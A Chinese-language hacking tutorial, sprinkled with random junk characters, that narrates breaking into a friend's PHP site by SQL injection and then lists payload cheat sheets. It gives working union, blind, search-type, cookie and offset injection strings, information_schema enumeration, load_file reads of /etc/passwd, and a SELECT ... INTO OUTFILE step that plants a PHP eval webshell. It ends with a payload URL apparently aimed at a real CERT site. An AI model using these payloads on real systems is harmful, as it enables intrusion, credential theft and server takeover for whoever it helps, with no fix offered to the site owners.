我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
, T* L5 J' B7 G3 Q/ T$ I) ~% M1 I让我看看,既然人家开口了,我也不好拒绝,那就看看吧?3 v4 @; Q9 K( Z- o c
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。1 g6 k C0 S! @; Y" v! W
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
5 T g: P, Y! F; T, _( E1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
; p7 E8 @$ q4 ?4 Z这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:+ |) B c/ x5 x# S
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
" n, H/ a d9 `- a7 U/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
3 c! ?$ n' @9 q9 Z* y' {& t2 F: }) } H
3 q: ?, G! J& N# F1 v2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
: \- x- A. r" q O4 a3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
) d/ d- Q1 y: j3 O4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
9 t0 \( }4 j! @5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。0 r3 r, S O8 C& W0 b$ S7 }1 M
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,- b# r6 K' u3 O( B, l
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
N0 B* E2 ` s9 _. K我就用的是第二个思路,
" i1 w4 V/ i1 U0 h8 ^提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- 8 ]) D/ h( W, z# z' @# b
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
" S. S+ L5 L3 p* l提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--3 b c; u6 q5 E4 S& k) Q$ ]* i4 g# f4 U
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。+ }3 [, I4 F) U, e4 o3 ^
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????/ b! ?4 i+ C& J6 }
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....# ?. [% h4 ?9 _! w9 o& D8 ^) Y
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
' Q- { e3 {" a5 B8 O" U然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
" T" Q" u$ ?( ~& b& ~调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
( K4 v3 G; G& j. d+ a* Q3 N! k下面是一些很普遍注入方式资料:; ]* Y4 b4 D2 K8 t/ X
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
; m& [0 M1 `' v# _/ ~$ j; i" H拆半法
0 R9 x y# U: U; S* B###################################### X. b5 r2 O! s8 t3 m( R
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。3 F6 f8 A4 i7 z. t4 M
and exists (select * from admin)
4 Y# I& Y+ U5 W+ q; Kand exists(select id from admin)
- y9 q' a5 ~ n4 g( v+ i+ E: Pand exists(select id from admin where id=1)
) P7 [/ v$ R# w& c3 _* t. iand exists(select id from admin where id>1) 5 f3 u+ u. ~5 H
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 % [( p( o+ V- u) d5 g& f7 ? Q! w0 C
and exists (select username from admin)
9 B$ l/ `0 x. u9 F( m2 ^and exists (select password from admin)
! `$ m% k( _( K8 f' a* kand exists (select id from admin where len(username)<10 and id=1)5 ^6 ]0 E, A2 q+ }
and exists (select id from admin where len(username)>5 and id=1)9 }6 q& l( ]3 B0 D f, A) ^, e- k
and exists (select id from admin where len(username)=6 and id=1)
& D; f' K" v7 m/ M/ u% ?% Q& b! jand exists (select id from admin where len(password)<10 and id=1)
- J% r4 O# _1 a+ e8 iand exists (select id from admin where len(password)>5 and id=1)
0 A6 W& g: ~" l7 f9 h r6 x4 sand exists (select id from admin where len(password)=7 and id=1)
' Q _) |, U% W# ]1 j. xand (select top 1 asc(mid(username,1,1)) from admin)=97
3 @/ |9 r5 Q5 f7 m3 Y/ D4 l. R返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
# E( @- N% O2 y+ Y猜第二位把username,1,1改成username,2,1就可以了。6 I8 ~4 h) O$ D4 ?7 y' j
猜密码把username改成password就OK了/ t/ L# O% L. ]3 Q# R& H m. f
##################################################
. _, b( v$ K% |) k' |+ s$ v- G# b搜索型注入
2 C. q# {1 `* `- F L& F##################################
% N% ?6 X- T$ w: _8 j8 Y6 p0 A%' and 1=1 and '%'='
, U% ? C) V0 ~% ^- H%' and exists (select * from admin) and '%'='
, ~; _6 U4 r! D7 X, m3 f+ g7 C%' and exists(select id from admin where id=1) and '%'='
1 x, Y7 M3 b$ A; G%' and exists (select id from admin where len(username)<10 and id=1) and '%'='$ A1 U* n8 O' d' `) |
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
. O8 A7 F" f; I) e0 y1 }% R5 D6 t%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='- A1 s) H% u& O3 v4 z: k1 t2 V
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'=': s+ p/ D& E8 N' ^
对于MSSQL数据库,后面可以吧 and '%'='换成--
# f2 @, k6 ~- r还有一点搜索型注入也可以使用union语句。
) u3 a- U2 m! q& h######################################################### i; C3 d. z2 L* `
联合查询。4 q( R# @7 `% U
#####################################- ~2 B8 F. k4 K+ |
order by 101 b4 E4 h6 z- c8 N# m3 T% b6 c
and 1=2 union select 1,2,3,4,5,6,7,8,9,10/ q. d1 m1 s+ B7 n$ z8 d; @% j
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
0 p5 M& k0 n+ Mand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1( x. h% S( v' z! I. J' ~
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
+ V' a7 k% {( `###################################
7 F& g4 ^* L) W/ H3 Bcookie注入% A; ?' F$ \& B! C% H
###############################' \! Q+ n+ S, t5 Z8 r1 y
http://www.******.com/shownews.asp?id=127
8 N! K+ {$ a3 O& i7 Rhttp://www.******.com/shownews.asp4 b( T2 P5 W. D
alert(="id="+escape("127"));7 T$ e3 W9 @5 s Y% w' L. I
alert(="id="+escape("127 and 1=1"));$ p2 L' k/ n5 |: a# p7 f6 p
alert(="id="+escape("127 order by 10"));: x* L Y0 F6 Y% g$ ]
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));1 b+ A6 Z# t, k' w5 R
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));& c# X/ s) o0 U( p3 O0 ^1 r( t- W% G
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
6 S8 @' }; Y' Z#################################### u! ^4 [& m* h; b# |
偏移注入9 z# ]! V- r; I# `
###########################################################
/ C* C8 d/ e; d" m( punion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
0 E. ^% z5 a. ^* [* v' wunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin3 c, P0 {0 [" |2 W6 K
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)* z6 H: ` `. _* y
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)$ y" N, x. B( b* S7 f
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)0 _$ d& u, H1 Z$ W) k! N D( F2 Q
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
$ ^# Z! T" [# m- x6 L8 n% Y: A9 uunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
2 W6 [+ X4 U1 O Y6 y1 T5 N. ma.id=d.id)
- h+ J. P) [2 U4 W* o/ K0 {and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
S# Z9 Y. {- F' K' hand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
- \+ C3 ~8 A5 U4 z. l. R , P; v% t' n' m; p. |' `1 l5 X% |% b
============================================================================================================. S# A2 v% Z9 O3 m" u3 C
1.判断版本
# S" L8 K: C3 g; R( zand ord(mid(version(),1,1))>51
5 N. |. l* D- k. E+ ?. u+ A( P$ { F返回正常,说明大于4.0版本,支持ounion查询; q/ a8 q% Z; u, d
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
4 y' f( k1 q9 C7 a* G' V, o8 N4 T1 oand 2=4 union select 1,2,3,4,5,6,7,8,9--
+ }! V% {6 V# y7 ]; z* I B3.查看数据库版本及当前用户,% U1 _ }- h% ^; G6 \" b
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
' w0 o( ]' x8 p A9 \数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,- ~- L1 ]( ~% @/ t2 C& h
4.判断有没有写权限- `$ e9 @8 E% {' P1 g1 W7 U
and (select count(*) from MySQL.user)>0--
, K P: t4 z5 k, d0 c+ w, M# o5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1$ _+ ]+ }& O$ d' ]6 Y
用不了这个命令,就学习土耳其黑客手法,如下 v$ _, S( G3 o
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
$ u }9 f' z, f6.爆表,爆库
$ b7 \* B$ B A- l' q4 U3 I" uand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
/ U7 Q! `/ T, h8 v% b/ o' r' x5 u4 f7.爆列名,爆表3 r1 f. J8 n3 I2 l; J" _% F
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
! z( O& i5 T' N8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
: ?& p# X1 U( A! pand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
, ]% m8 {# b t) O2 t2 O4 {9.爆字段内容+ G' A" N( j+ C T+ `" v, u; D
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
$ W9 X/ y: A" P7 }6 z N9 G+ Bhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |